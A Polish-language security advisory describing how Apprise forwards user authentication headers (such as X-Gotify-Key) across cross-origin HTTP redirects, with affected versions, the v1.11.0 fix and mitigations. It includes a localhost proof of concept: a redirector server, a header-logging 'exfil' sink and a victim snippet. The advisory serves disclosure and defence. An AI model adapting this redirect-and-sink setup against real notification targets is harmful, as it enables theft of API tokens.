Apprise przekazuje skonfigurowane nagłówki uwierzytelniania przez przekierowania HTTP cross-origin

Podsumowanie

Wtyczki powiadomień oparte na protokole HTTP w Apprise oraz powiązane moduły ładujące załączniki i konfigurację (apprise/attachment/http.py, apprise/config/http.py) domyślnie podążają za przekierowaniami HTTP 3xx i ponownie przesyłają skonfigurowane przez użytkownika nagłówki uwierzytelniania oraz parametry zapytania w przekierowanym żądaniu. Jeśli skonfigurowany przez administratora cel zostanie później skompromitowany (przejęcie usługi, złośliwa aktualizacja) lub atakujący zajmie pozycję MITM na niezabezpieczonej ścieżce sieciowej, cel ten może zwrócić 302 Location: do dowolnego hosta, a Apprise przekaże sekret użytkownika (X-Gotify-Key, Authorization, tokeny bearer w zapytaniu, niestandardowe wartości +Header=) do tego zewnętrznego hosta (cross-origin). Atakujący nie musi kontrolować oryginalnego adresu URL w Apprise — wystarczy kontrola nad odpowiedzią z miejsca docelowego, któremu administrator już ufa.

Jest to analogia na poziomie warstwy aplikacji do błędu w bibliotece urllib3 GHSA-34jh-p97f-mpxf / CVE-2026-44431 („Proxy-Authorization forwarded across cross-origin redirect”).

Dotknięte wersje

Wszystkie wydania do wersji v1.10.0 włącznie (najnowsze wydanie w PyPI w momencie zgłoszenia, 2026-04-26). Problem naprawiono w v1.11.0 (wydanej 2026-05-29), która zawiera PR #1610 (scalone 2026-05-16, commit 68c0aef218055e4586cf4605fd6b56358f5f462d).

Szczegóły

apprise/plugins/gotify.py (HEAD przed poprawką, linie 226-244, dosłownie):

headers = {
    "User-Agent": self.app_id,
    "Content-Type": "application/json",
    "X-Gotify-Key": self.token,    # user-supplied secret
}
...
r = requests.post(
    url,
    data=dumps(payload),
    headers=headers,
    verify=self.verify_certificate,
    timeout=self.request_timeout,
    # NO allow_redirects=False -- requests default is True
)

requests domyślnie podąża za przekierowaniami 3xx i ponownie dołącza słownik headers= w przekierowanym żądaniu, bez względu na pochodzenie. Taki sam schemat występuje w około 50 wtyczkach (custom_json, custom_xml, custom_form, gotify, ntfy, mattermost, apprise_api oraz większości innych wtyczek opartych na HTTP), jak również w apprise/attachment/http.py i apprise/config/http.py.

Odtworzenie błędu (lokalne, bezpieczne)

# attacker_redirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(302)
        self.send_header("Location", "http://127.0.0.1:8082/exfil")
        self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8081), H).serve_forever()

# attacker_sink.py -- 127.0.0.1:8082 logs the leaked headers
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        print("LEAKED HEADERS:", dict(self.headers))
        self.send_response(204); self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8082), H).serve_forever()

# victim
from apprise import Apprise
a = Apprise()
a.add("gotify://127.0.0.1:8081?token=SECRETTOKEN")
a.notify(body="x")

Zaobserwowano na master HEAD (2026-05-13): attacker_sink.py wyświetla X-Gotify-Key: SECRETTOKEN – token dostarczony przez użytkownika podążył za przekierowaniem cross-origin.

Poprawka

Poprawka została wdrożona w caronc/apprise#1610 (scalone 2026-05-16, commit 68c0aef):

• Dodaje parametr URL ?redirect=yes|no dla każdego adresu URL wtyczki
• Dodaje domyślne ustawienie globalne AppriseAsset.http_redirects
• Odpowiednie flagi wdrożono w apprise/attachment/http.py i apprise/config/http.py

Domyślnym ustawieniem ze względów kompatybilności wstecznej pozostaje redirects=True — administratorzy przesyłający powiadomienia przez miejsca docelowe, którym nie ufają w pełni, powinni dopisać ?redirect=no do swoich adresów URL Apprise lub ustawić AppriseAsset(http_redirects=False) globalnie.

Wydano w v1.11.0 (2026-05-29, dostępne w PyPI).

Powiązane:

• Dokumentacja: caronc/apprise-docs#60 (scalone 2026-05-16)
• Odpowiednik API: caronc/apprise-api#331 (scalone 2026-05-29; dostarczone w apprise-api v1.5.1, zbudowane na bazie Apprise v1.11.0)

Rozwiązanie

Zaktualizuj do Apprise v1.11.0 lub nowszej (pip install -U apprise).

Domyślną wartością ze względów kompatybilności wstecznej pozostaje redirect=yes, dlatego po aktualizacji administratorzy przekazujący powiadomienia przez miejsca docelowe, którym nie ufają w pełni, powinni również ustawić AppriseAsset(http_redirects=False) globalnie lub dopisać ?redirect=no do każdego adresu URL wtyczki.

Jeśli nie możesz jeszcze przeprowadzić aktualizacji, korzystaj z Apprise wyłącznie z w pełni zaufanymi miejscami docelowymi powiadomień (model wspierany udokumentowany przez twórców).

Klasyfikacja

• CWE-200 Ujawnienie wrażliwych informacji nieupoważnionemu podmiotowi — tokeny uwierzytelniające użytkownika / klucze API / niestandardowe wartości +Header= są przekazywane w przekierowanym żądaniu cross-origin.
• CWE-601 Przekierowanie adresu URL do niezaufanej witryny — odpowiedź 3xx z początkowego celu (skonfigurowanego przez administratora) wysyła żądanie wraz z danymi uwierzytelniającymi do hosta, którego administrator nigdy nie konfigurował.

CVSS 3.1: AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N -> 3.1 NISKI.

Atak wymaga skompromitowania celu skonfigurowanego przez administratora lub obecności atakującego na ścieżce sieciowej. Wpływ to częściowa utrata poufności: pojedynczy sekret dostarczony przez użytkownika na przekierowane żądanie, ograniczony do danego kanału powiadomień. Jest to zamierzone, wąskie utwardzenie obsługi przekierowań i przesyłania nagłówków, a nie stwierdzenie, że zdalne lokalizacje docelowe lub zdalna konfiguracja same w sobie stanowią podatność.